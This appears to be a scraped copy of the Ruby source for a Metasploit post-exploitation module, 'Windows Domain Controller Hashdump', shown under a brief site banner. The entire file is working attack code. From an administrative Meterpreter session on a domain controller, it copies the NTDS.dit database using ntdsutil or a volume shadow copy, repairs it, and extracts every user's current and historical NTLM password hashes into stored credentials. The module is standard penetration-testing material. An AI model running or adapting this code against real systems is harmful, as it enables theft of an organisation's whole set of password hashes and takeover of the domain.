Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
require 'metasploit/framework/ntds/parser'
7

8
class MetasploitModule < Msf::Post
9
  include Msf::Post::Windows::Accounts
10
  include Msf::Post::Windows::Registry
11
  include Msf::Auxiliary::Report
12
  include Msf::Post::Windows::Priv
13
  include Msf::Post::Windows::ShadowCopy
14
  include Msf::Post::File
15
  include Msf::Post::Windows::ExtAPI
16

17
  def initialize(info = {})
18
    super(
19
      update_info(
20
        info,
21
        'Name' => 'Windows Domain Controller Hashdump',
22
        'Description' => %q{
23
          This module attempts to copy the NTDS.dit database from a live Domain Controller
24
          and then parse out all of the User Accounts. It saves all of the captured password
25
          hashes, including historical ones.
26
        },
27
        'License' => MSF_LICENSE,
28
        'Author' => ['theLightCosine'],
29
        'Platform' => [ 'win' ],
30
        'SessionTypes' => [ 'meterpreter' ],
31
        'Compat' => {
32
          'Meterpreter' => {
33
            'Commands' => %w[
34
              extapi_ntds_parse
35
              stdapi_fs_stat
36
            ]
37
          }
38
        }
39
      )
40
    )
41
    deregister_options('SMBUser', 'SMBPass', 'SMBDomain')
42
    register_options(
43
      [
44
        OptBool.new(
45
          'CLEANUP', [ true, 'Automatically delete ntds backup created', true]
46
        )
47
      ]
48
    )
49
  end
50

51
  def run
52
    if preconditions_met?
53
      print_status 'Pre-conditions met, attempting to copy NTDS.dit'
54
      ntds_file = copy_database_file
55
      unless ntds_file.nil?
56
        file_stat = client.fs.file.stat(ntds_file)
57
        print_status "NTDS File Size: #{file_stat.size} bytes"
58
        print_status 'Repairing NTDS database after copy...'
59
        print_status repair_ntds(ntds_file)
60
        realm = sysinfo['Domain']
61
        begin
62
          ntds_parser = Metasploit::Framework::NTDS::Parser.new(client, ntds_file)
63
        rescue Rex::Post::Meterpreter::RequestError => e
64
          print_bad("Failed to properly parse database: #{e}")
65
          if e.to_s.include? '1004'
66
            print_bad('Error 1004 is likely a jet database error because the ntds database is not in the regular format')
67
          end
68
        end
69
        unless ntds_parser.nil?
70
          print_status 'Started up NTDS channel. Preparing to stream results...'
71
          ntds_parser.each_account do |ad_account|
72
            print_good ad_account.to_s
73
            report_hash(ad_account.ntlm_hash.downcase, ad_account.name, realm)
74
            ad_account.nt_history.each_with_index do |nt_hash, index|
75
              hash_string = ad_account.lm_history[index] || Metasploit::Credential::NTLMHash::BLANK_LM_HASH
76
              hash_string << ":#{nt_hash}"
77
              report_hash(hash_string.downcase, ad_account.name, realm)
78
            end
79
          end
80
        end
81
        if datastore['cleanup']
82
          print_status "Deleting backup of NTDS.dit at #{ntds_file}"
83
          rm_f(ntds_file)
84
        else
85
          print_bad "#{ntds_file} requires manual cleanup"
86
        end
87
      end
88
    end
89
  end
90

91
  def copy_database_file
92
    version = get_version_info
93
    if version.windows_server?
94
      if version.build_number.between?(Msf::WindowsVersion::Server2003_SP0, Msf::WindowsVersion::Server2003_SP2)
95
        print_status 'Using Volume Shadow Copy Method'
96
        return vss_method
97
      elsif version.build_number >= Msf::WindowsVersion::Server2008_SP0
98
        print_status 'Using NTDSUTIL method'
99
        return ntdsutil_method
100
      end
101
    end
102
    print_error 'This version of Windows is unsupported'
103
    return nil
104
  end
105

106
  def ntds_exists?
107
    return false unless ntds_location
108

109
    file_exist?("#{ntds_location}\\ntds.dit")
110
  end
111

112
  def ntds_location
113
    @ntds_location ||= registry_getvaldata('HKLM\\SYSTEM\\CurrentControlSet\\services\\NTDS\\Parameters\\', 'DSA Working Directory')
114
  end
115

116
  def ntdsutil_method
117
    tmp_path = "#{get_env('%WINDIR%')}\\Temp\\#{Rex::Text.rand_text_alpha((rand(8) + 6))}"
118
    command_arguments = "\"activate instance ntds\" \"ifm\" \"Create Full #{tmp_path}\" quit quit"
119
    result = cmd_exec('ntdsutil.exe', command_arguments, 90)
120
    if result.include? 'IFM media created successfully'
121
      file_path = "#{tmp_path}\\Active Directory\\ntds.dit"
122
      print_status "NTDS database copied to #{file_path}"
123
    else
124
      print_error 'There was an error copying the ntds.dit file!'
125
      vprint_error result
126
      file_path = nil
127
    end
128
    file_path
129
  end
130

131
  def preconditions_met?
132
    unless is_admin?
133
      print_error('This module requires Admin privs to run')
134
      return false
135
    end
136

137
    print_status('Session has Admin privs')
138

139
    unless domain_controller?
140
      print_error('Host does not appear to be an AD Domain Controller')
141
      return false
142
    end
143

144
    print_status('Session is on a Domain Controller')
145

146
    unless ntds_exists?
147
      print_error('Could not locate ntds.dit file')
148
      return false
149
    end
150

151
    unless session.commands.include?(Rex::Post::Meterpreter::Extensions::Extapi::COMMAND_ID_EXTAPI_NTDS_PARSE)
152
      fail_with(Failure::BadConfig, 'Session does not support Meterpreter ExtAPI NTDS parser')
153
    end
154

155
    session_compat?
156
  end
157

158
  def repair_ntds(path = '')
159
    arguments = "/p /o \"#{path}\""
160
    cmd_exec('esentutl', arguments)
161
  end
162

163
  def report_hash(ntlm_hash, username, realm)
164
    cred_details = {
165
      origin_type: :session,
166
      session_id: session_db_id,
167
      post_reference_name: refname,
168
      private_type: :ntlm_hash,
169
      private_data: ntlm_hash,
170
      username: username,
171
      realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
172
      realm_value: realm,
173
      workspace_id: myworkspace_id
174
    }
175
    create_credential(cred_details)
176
  end
177

178
  def session_compat?
179
    if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86
180
      print_error 'You are running 32-bit Meterpreter on a 64 bit system'
181
      print_error 'Try migrating to a 64-bit process and try again'
182
      false
183
    else
184
      true
185
    end
186
  end
187

188
  def vss_method
189
    unless start_vss
190
      fail_with(Failure::NoAccess, 'Unable to start VSS service')
191
    end
192
    location = ntds_location.dup
193
    location.slice!(0, 3)
194
    id = create_shadowcopy(volume.to_s)
195
    print_status "Getting Details of ShadowCopy #{id}"
196
    sc_details = get_sc_details(id)
197
    sc_path = "#{sc_details['DeviceObject']}\\#{location}\\ntds.dit"
198
    target_path = "#{get_env('%WINDIR%')}\\Temp\\#{Rex::Text.rand_text_alpha((rand(8) + 6))}"
199
    print_status "Moving ntds.dit to #{target_path}"
200
    move_file(sc_path, target_path)
201
    target_path
202
  end
203
end
204

205